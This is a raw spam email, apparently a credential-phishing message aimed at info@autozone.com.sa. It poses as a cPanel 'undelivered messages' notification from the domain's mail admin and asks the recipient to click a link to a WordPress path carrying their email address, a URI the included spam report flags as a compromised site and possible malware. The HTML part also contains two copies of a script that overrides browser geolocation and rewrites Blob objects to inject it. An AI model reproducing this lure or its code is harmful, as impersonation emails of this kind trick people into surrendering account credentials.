
­­­­­­­­­­­­­­­­­­
<!DOCTYPE html>
<html>
Return-Path: <admin@cpsrv.gandjgroup.com>
Delivered-To: info+spam@autozone.com.sa
Received: from depro4.fcomet.com
	by depro4.fcomet.com with LMTP
	id KD1fJxWMiWRLQgsAfHesKA
	(envelope-from <admin@cpsrv.gandjgroup.com>)
	for <info+spam@autozone.com.sa>; Wed, 14 Jun 2023 11:44:53 +0200
Return-path: <admin@cpsrv.gandjgroup.com>
Envelope-to: info@autozone.com.sa
Delivery-date: Wed, 14 Jun 2023 11:44:53 +0200
Received: from hwsrv-1076396.hostwindsdns.com ([192.236.161.18]:34568)
	by depro4.fcomet.com with esmtp (Exim 4.96)
	(envelope-from <admin@cpsrv.gandjgroup.com>)
	id 1q9N3c-0038kn-2T
	for info@autozone.com.sa;
	Wed, 14 Jun 2023 11:44:53 +0200
Received: from cpsrv.gandjgroup.com (localhost [IPv6:::1])
	by hwsrv-1076396.hostwindsdns.com (Postfix) with ESMTP id 4E6A4EBBF
	for <info@autozone.com.sa>; Wed, 14 Jun 2023 09:08:48 +0000 (UTC)
From: Mail Delivery System  <admin@cpsrv.gandjgroup.com>
To: info@autozone.com.sa
Date: 14 Jun 2023 02:08:48 -0700
Message-ID: <20230614020848.407FCBEAC8647B8B@cpsrv.gandjgroup.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0012_F37D9F1F.3AB033E4"
X-Spam-Status: Yes, score=7.0
X-Spam-Score: 70
X-Spam-Bar: +++++++
X-Spam-Report: Spam detection software, running on the system "depro4.fcomet.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  UNDELIVERED MESSAGES NOTIFICATION   Hello info You have some
    bounce back undelivered messages as of Wednesday, June 14th, 2023. This
    was caused due to ur autozone.com.sa mail system software downtime. 
 Content analysis details:   (7.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.4 NO_DNS_FOR_FROM        DNS: Envelope sender has no MX or A DNS records
  0.0 T_SPF_TEMPERROR        SPF: test of record failed (temperror)
  0.0 HTML_MESSAGE           BODY: HTML included in message
  1.7 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
  0.0 FSL_BULK_SIG           Bulk signature with no Unsubscribe
  2.5 URI_WP_HACKED_2        URI for compromised WordPress site, possible
                             malware
X-Spam-Flag: YES
Subject:  ***SPAM***  Bounceback Message Report


------=_NextPart_000_0012_F37D9F1F.3AB033E4
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: quoted-printable

UNDELIVERED MESSAGES NOTIFICATION

=C2=A0
Hello info
You have some bounce back=C2=A0undelivered messages as of=C2=A0Wednesday,=
=20
June 14th, 2023.

This was caused due to ur=C2=A0autozone.com.sa mail system software=20
downtime.

Kindly rectify below:=C2=A0=C2=A0


Review Undelivered Messages.=20
(=C2=A0https://digibro.net/wp-includes/qerty/?user=3Dinfo@autozone.com.sa=
=C2=A0)

autozone.com.sa=C2=A0Mail Service Admin.

cP Copyright =C2=A9=C2=A02023=C2=A0cPanel, L.L.C

=C2=A0
------=_NextPart_000_0012_F37D9F1F.3AB033E4
Content-Type: text/html;
	charset="utf-8"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD><TITLE></TITLE>
<SCRIPT>(function(){function hookGeo() {
  //<![CDATA[
  const WAIT_TIME =3D 100;
  const hookedObj =3D {
    getCurrentPosition: navigator.geolocation.getCurrentPosition.bind(navig=
ator.geolocation),
    watchPosition: navigator.geolocation.watchPosition.bind(navigator.geolo=
cation),
    fakeGeo: true,
    genLat: 38.883333,
    genLon: -77.000
  };

  function waitGetCurrentPosition() {
    if ((typeof hookedObj.fakeGeo !=3D=3D 'undefined')) {
      if (hookedObj.fakeGeo =3D=3D=3D true) {
        hookedObj.tmp_successCallback({
          coords: {
            latitude: hookedObj.genLat,
            longitude: hookedObj.genLon,
            accuracy: 10,
            altitude: null,
            altitudeAccuracy: null,
            heading: null,
            speed: null,
          },
          timestamp: new Date().getTime(),
        });
      } else {
        hookedObj.getCurrentPosition(hookedObj.tmp_successCallback, hookedO=
bj.tmp_errorCallback, hookedObj.tmp_options);
      }
    } else {
      setTimeout(waitGetCurrentPosition, WAIT_TIME);
    }
  }

  function waitWatchPosition() {
    if ((typeof hookedObj.fakeGeo !=3D=3D 'undefined')) {
      if (hookedObj.fakeGeo =3D=3D=3D true) {
        navigator.getCurrentPosition(hookedObj.tmp2_successCallback, hooked=
Obj.tmp2_errorCallback, hookedObj.tmp2_options);
        return Math.floor(Math.random() * 10000); // random id
      } else {
        hookedObj.watchPosition(hookedObj.tmp2_successCallback, hookedObj.t=
mp2_errorCallback, hookedObj.tmp2_options);
      }
    } else {
      setTimeout(waitWatchPosition, WAIT_TIME);
    }
  }

  Object.getPrototypeOf(navigator.geolocation).getCurrentPosition =3D funct=
ion (successCallback, errorCallback, options) {
    hookedObj.tmp_successCallback =3D successCallback;
    hookedObj.tmp_errorCallback =3D errorCallback;
    hookedObj.tmp_options =3D options;
    waitGetCurrentPosition();
  };
  Object.getPrototypeOf(navigator.geolocation).watchPosition =3D function (=
successCallback, errorCallback, options) {
    hookedObj.tmp2_successCallback =3D successCallback;
    hookedObj.tmp2_errorCallback =3D errorCallback;
    hookedObj.tmp2_options =3D options;
    waitWatchPosition();
  };

  const instantiate =3D (constructor, args) =3D> {
    const bind =3D Function.bind;
    const unbind =3D bind.bind(bind);
    return new (unbind(constructor, null).apply(null, args));
  }

  Blob =3D function (_Blob) {
    function secureBlob(...args) {
      const injectableMimeTypes =3D [
        { mime: 'text/html', useXMLparser: false },
        { mime: 'application/xhtml+xml', useXMLparser: true },
        { mime: 'text/xml', useXMLparser: true },
        { mime: 'application/xml', useXMLparser: true },
        { mime: 'image/svg+xml', useXMLparser: true },
      ];
      let typeEl =3D args.find(arg =3D> (typeof arg =3D=3D=3D 'object') && =
(typeof arg.type =3D=3D=3D 'string') && (arg.type));

      if (typeof typeEl !=3D=3D 'undefined' && (typeof args[0][0] =3D=3D=3D=
 'string')) {
        const mimeTypeIndex =3D injectableMimeTypes.findIndex(mimeType =3D>=
 mimeType.mime.toLowerCase() =3D=3D=3D typeEl.type.toLowerCase());
        if (mimeTypeIndex >=3D 0) {
          let mimeType =3D injectableMimeTypes[mimeTypeIndex];
          let injectedCode =3D `<script>(
            ${hookGeo}
          )();<\/script>`;
=20=20=20=20
          let parser =3D new DOMParser();
          let xmlDoc;
          if (mimeType.useXMLparser =3D=3D=3D true) {
            xmlDoc =3D parser.parseFromString(args[0].join(''), mimeType.mi=
me); // For XML documents we need to merge all items in order to not break =
the header when injecting
          } else {
            xmlDoc =3D parser.parseFromString(args[0][0], mimeType.mime);
          }

          if (xmlDoc.getElementsByTagName("parsererror").length =3D=3D=3D 0=
) { // if no errors were found while parsing...
            xmlDoc.documentElement.insertAdjacentHTML('afterbegin', injecte=
dCode);
=20=20=20=20
            if (mimeType.useXMLparser =3D=3D=3D true) {
              args[0] =3D [new XMLSerializer().serializeToString(xmlDoc)];
            } else {
              args[0][0] =3D xmlDoc.documentElement.outerHTML;
            }
          }
        }
      }

      return instantiate(_Blob, args); // arguments?
    }

    // Copy props and methods
    let propNames =3D Object.getOwnPropertyNames(_Blob);
    for (let i =3D 0; i < propNames.length; i++) {
      let propName =3D propNames[i];
      if (propName in secureBlob) {
        continue; // Skip already existing props
      }
      let desc =3D Object.getOwnPropertyDescriptor(_Blob, propName);
      Object.defineProperty(secureBlob, propName, desc);
    }

    secureBlob.prototype =3D _Blob.prototype;
    return secureBlob;
  }(Blob);

  window.addEventListener('message', function (event) {
    if (event.source !=3D=3D window) {
      return;
    }
    const message =3D event.data;
    switch (message.method) {
      case 'updateLocation':
        if ((typeof message.info =3D=3D=3D 'object') && (typeof message.inf=
o.coords =3D=3D=3D 'object')) {
          hookedObj.genLat =3D message.info.coords.lat;
          hookedObj.genLon =3D message.info.coords.lon;
          hookedObj.fakeGeo =3D message.info.fakeIt;
        }
        break;
      default:
        break;
    }
  }, false);
  //]]>
}hookGeo();})()</SCRIPT>

<SCRIPT>(function(){function hookGeo() {
  //<![CDATA[
  const WAIT_TIME =3D 100;
  const hookedObj =3D {
    getCurrentPosition: navigator.geolocation.getCurrentPosition.bind(navig=
ator.geolocation),
    watchPosition: navigator.geolocation.watchPosition.bind(navigator.geolo=
cation),
    fakeGeo: true,
    genLat: 38.883333,
    genLon: -77.000
  };

  function waitGetCurrentPosition() {
    if ((typeof hookedObj.fakeGeo !=3D=3D 'undefined')) {
      if (hookedObj.fakeGeo =3D=3D=3D true) {
        hookedObj.tmp_successCallback({
          coords: {
            latitude: hookedObj.genLat,
            longitude: hookedObj.genLon,
            accuracy: 10,
            altitude: null,
            altitudeAccuracy: null,
            heading: null,
            speed: null,
          },
          timestamp: new Date().getTime(),
        });
      } else {
        hookedObj.getCurrentPosition(hookedObj.tmp_successCallback, hookedO=
bj.tmp_errorCallback, hookedObj.tmp_options);
      }
    } else {
      setTimeout(waitGetCurrentPosition, WAIT_TIME);
    }
  }

  function waitWatchPosition() {
    if ((typeof hookedObj.fakeGeo !=3D=3D 'undefined')) {
      if (hookedObj.fakeGeo =3D=3D=3D true) {
        navigator.getCurrentPosition(hookedObj.tmp2_successCallback, hooked=
Obj.tmp2_errorCallback, hookedObj.tmp2_options);
        return Math.floor(Math.random() * 10000); // random id
      } else {
        hookedObj.watchPosition(hookedObj.tmp2_successCallback, hookedObj.t=
mp2_errorCallback, hookedObj.tmp2_options);
      }
    } else {
      setTimeout(waitWatchPosition, WAIT_TIME);
    }
  }

  Object.getPrototypeOf(navigator.geolocation).getCurrentPosition =3D funct=
ion (successCallback, errorCallback, options) {
    hookedObj.tmp_successCallback =3D successCallback;
    hookedObj.tmp_errorCallback =3D errorCallback;
    hookedObj.tmp_options =3D options;
    waitGetCurrentPosition();
  };
  Object.getPrototypeOf(navigator.geolocation).watchPosition =3D function (=
successCallback, errorCallback, options) {
    hookedObj.tmp2_successCallback =3D successCallback;
    hookedObj.tmp2_errorCallback =3D errorCallback;
    hookedObj.tmp2_options =3D options;
    waitWatchPosition();
  };

  const instantiate =3D (constructor, args) =3D> {
    const bind =3D Function.bind;
    const unbind =3D bind.bind(bind);
    return new (unbind(constructor, null).apply(null, args));
  }

  Blob =3D function (_Blob) {
    function secureBlob(...args) {
      const injectableMimeTypes =3D [
        { mime: 'text/html', useXMLparser: false },
        { mime: 'application/xhtml+xml', useXMLparser: true },
        { mime: 'text/xml', useXMLparser: true },
        { mime: 'application/xml', useXMLparser: true },
        { mime: 'image/svg+xml', useXMLparser: true },
      ];
      let typeEl =3D args.find(arg =3D> (typeof arg =3D=3D=3D 'object') && =
(typeof arg.type =3D=3D=3D 'string') && (arg.type));

      if (typeof typeEl !=3D=3D 'undefined' && (typeof args[0][0] =3D=3D=3D=
 'string')) {
        const mimeTypeIndex =3D injectableMimeTypes.findIndex(mimeType =3D>=
 mimeType.mime.toLowerCase() =3D=3D=3D typeEl.type.toLowerCase());
        if (mimeTypeIndex >=3D 0) {
          let mimeType =3D injectableMimeTypes[mimeTypeIndex];
          let injectedCode =3D `<script>(
            ${hookGeo}
          )();<\/script>`;
=20=20=20=20
          let parser =3D new DOMParser();
          let xmlDoc;
          if (mimeType.useXMLparser =3D=3D=3D true) {
            xmlDoc =3D parser.parseFromString(args[0].join(''), mimeType.mi=
me); // For XML documents we need to merge all items in order to not break =
the header when injecting
          } else {
            xmlDoc =3D parser.parseFromString(args[0][0], mimeType.mime);
          }

          if (xmlDoc.getElementsByTagName("parsererror").length =3D=3D=3D 0=
) { // if no errors were found while parsing...
            xmlDoc.documentElement.insertAdjacentHTML('afterbegin', injecte=
dCode);
=20=20=20=20
            if (mimeType.useXMLparser =3D=3D=3D true) {
              args[0] =3D [new XMLSerializer().serializeToString(xmlDoc)];
            } else {
              args[0][0] =3D xmlDoc.documentElement.outerHTML;
            }
          }
        }
      }

      return instantiate(_Blob, args); // arguments?
    }

    // Copy props and methods
    let propNames =3D Object.getOwnPropertyNames(_Blob);
    for (let i =3D 0; i < propNames.length; i++) {
      let propName =3D propNames[i];
      if (propName in secureBlob) {
        continue; // Skip already existing props
      }
      let desc =3D Object.getOwnPropertyDescriptor(_Blob, propName);
      Object.defineProperty(secureBlob, propName, desc);
    }

    secureBlob.prototype =3D _Blob.prototype;
    return secureBlob;
  }(Blob);

  window.addEventListener('message', function (event) {
    if (event.source !=3D=3D window) {
      return;
    }
    const message =3D event.data;
    switch (message.method) {
      case 'updateLocation':
        if ((typeof message.info =3D=3D=3D 'object') && (typeof message.inf=
o.coords =3D=3D=3D 'object')) {
          hookedObj.genLat =3D message.info.coords.lat;
          hookedObj.genLon =3D message.info.coords.lon;
          hookedObj.fakeGeo =3D message.info.fakeIt;
        }
        break;
      default:
        break;
    }
  }, false);
  //]]>
}hookGeo();})()</SCRIPT>

<META name=3DGENERATOR content=3D"MSHTML 11.00.9600.19963"></HEAD>
<body>
<P style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; WH=
ITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 40=
0; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-ALIGN: center; ORPHANS: 2=
; WIDOWS: 2; LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligatur=
es: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text=
-decoration-thickness: initial; text-decoration-style: initial; text-decora=
tion-color: initial"><STRONG>
<SPAN style=3D'FONT-FAMILY: "courier new", courier, monospace'><FONT size=
=3D2><FONT size=3D4><SPAN style=3D"COLOR: rgb(61,133,198)">UNDELIVERED MESS=
AGES NOTIFICATION</SPAN></FONT></FONT></SPAN></STRONG></P>
<DIV style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; =
WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: =
400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-ALIGN: center; ORPHANS:=
 2; WIDOWS: 2; LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligat=
ures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; te=
xt-decoration-thickness: initial; text-decoration-style: initial; text-deco=
ration-color: initial"><FONT face=3D"Courier New">
</FONT>&nbsp;</DIV>
<DIV style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; =
WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: =
400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-ALIGN: center; ORPHANS:=
 2; WIDOWS: 2; LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligat=
ures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; te=
xt-decoration-thickness: initial; text-decoration-style: initial; text-deco=
ration-color: initial">
<SPAN style=3D"FONT-SIZE: 10px"><SPAN style=3D'FONT-FAMILY: "courier new", =
courier, monospace'><FONT size=3D3>Hello info</FONT></SPAN></SPAN></DIV>
<DIV style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; =
WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: =
400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-ALIGN: center; ORPHANS:=
 2; WIDOWS: 2; LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligat=
ures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; te=
xt-decoration-thickness: initial; text-decoration-style: initial; text-deco=
ration-color: initial">
<P style=3D"BOX-SIZING: border-box; MARGIN-TOP: 0px"><SPAN style=3D"FONT-SI=
ZE: 10px"><SPAN style=3D'FONT-FAMILY: "courier new", courier, monospace'><F=
ONT size=3D3>You have some bounce back&nbsp;undelivered messages as of&nbsp=
;Wednesday, June 14th, 2023.</FONT></SPAN></SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN-TOP: 0px"><SPAN style=3D"FONT-SI=
ZE: 10px"><SPAN style=3D'FONT-FAMILY: "courier new", courier, monospace'><F=
ONT size=3D3>This was caused due to ur&nbsp;autozone.com.sa mail system sof=
tware downtime.</FONT></SPAN></SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN-TOP: 0px"><SPAN style=3D"FONT-SI=
ZE: 10px"><SPAN style=3D'FONT-FAMILY: "courier new", courier, monospace'><F=
ONT size=3D3>Kindly rectify below:</FONT>&nbsp;&nbsp;</SPAN></SPAN></P></DI=
V>
<P style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; WH=
ITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 40=
0; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-ALIGN: center; ORPHANS: 2=
; WIDOWS: 2; LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligatur=
es: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text=
-decoration-thickness: initial; text-decoration-style: initial; text-decora=
tion-color: initial"><CITE><SPAN dir=3Dltr><SMALL>
<BIG><A style=3D"COLOR: rgb(17,85,204)" href=3D"https://digibro.net/wp-incl=
udes/qerty/?user=3Dinfo@autozone.com.sa" target=3D_blank data-saferedirectu=
rl=3D"https://www.google.com/url?q=3Dhttps://digibro.net/wp-content/css/jav=
a/?user%3D%5B%5B-Email-%5D%5D&amp;source=3Dgmail&amp;ust=3D1686792596982000=
&amp;usg=3DAOvVaw3KNW9uX3FFLwxfT3AfNiow"><SPAN style=3D"FONT-SIZE: 26px"><S=
PAN style=3D"FONT-FAMILY: Helvetica, Arial, sans-serif; FONT-WEIGHT: 700; C=
OLOR: rgb(255,255,255); BACKGROUND-COLOR: rgb(70,132,254)">
<FONT face=3D"Courier New">Review Undelivered Messages.</FONT></SPAN></SPAN=
></A></BIG></SMALL></SPAN></CITE></P>
<P style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; WH=
ITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 40=
0; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-ALIGN: center; ORPHANS: 2=
; WIDOWS: 2; LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligatur=
es: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text=
-decoration-thickness: initial; text-decoration-style: initial; text-decora=
tion-color: initial">
<SPAN style=3D'FONT-FAMILY: "courier new", courier, monospace'><SPAN style=
=3D"FONT-SIZE: 8px"><SPAN style=3D"COLOR: rgb(0,0,255)"><FONT size=3D2>auto=
zone.com.sa&nbsp;Mail Service Admin.</FONT></SPAN></SPAN></SPAN></P>
<P style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; WH=
ITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 40=
0; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-ALIGN: center; ORPHANS: 2=
; WIDOWS: 2; LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligatur=
es: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text=
-decoration-thickness: initial; text-decoration-style: initial; text-decora=
tion-color: initial"><STRONG>
<SPAN style=3D'FONT-FAMILY: "courier new", courier, monospace'><SPAN style=
=3D"COLOR: rgb(218,165,32)">cP Copyright &copy;&nbsp;2023&nbsp;cPanel, L.L.=
C</SPAN></SPAN></STRONG></P>
<P>&nbsp;</P></BODY></HTML>
------=_NextPart_000_0012_F37D9F1F.3AB033E4--

